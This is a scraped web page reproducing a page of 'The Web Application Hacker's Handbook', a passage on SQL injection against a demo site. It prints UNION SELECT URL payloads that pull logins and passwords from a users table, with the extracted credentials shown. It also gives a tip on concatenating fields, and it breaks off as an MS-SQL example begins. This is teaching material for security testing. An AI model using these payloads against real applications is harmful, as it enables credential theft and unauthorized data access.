The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws



Download 5,76 Mb.
Pdf ko'rish
bet468/875
Sana01.01.2022
Hajmi5,76 Mb.
#293004
1   ...   464   465   466   467   468   469   470   471   ...   875
Bog'liq
3794 1008 4334

ID

EMPLOYEE

JOB

7521


WARD

SALESMAN


ID

LOGIN


PASSWORD

PRIVILEGE

SESSIONID

WORD


This output confirms that the 

USERS


table does indeed contain sensitive

data, including passwords and session tokens. We now have everything we

need to extract any of this information. For example:

https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,

login,password,NULL%20from%20users--

ID

EMPLOYEE

JOB

7521


WARD

SALESMAN


admin

0wned


marcus

marcus1


Chapter 9 



Injecting Code



259

70779c09.qxd:WileyRed  9/14/07  3:13 PM  Page 259




T I P

In the attack just described, there are two columns available for retrieving

data, and the easiest exploit is to use both. If only one field were available, the

same attack could be carried out by concatenating multiple items of extracted

data into a single field. For example, the following URL would retrieve

usernames and passwords within just the Employee field, separated by a colon:

https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,

login||’:’||password,NULL,NULL%20from%20user_objects--

An MS-SQL Hack

Let’s take a look at a similar attack being performed against an MS-SQL data-

base. Consider a retailing application that allows users to search a product cat-

alog. A typical search uses the following URL:

https://wahh-app.com/products.asp?q=hub

This search returns the following results:




Download 5,76 Mb.

Do'stlaringiz bilan baham:
1   ...   464   465   466   467   468   469   470   471   ...   875




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish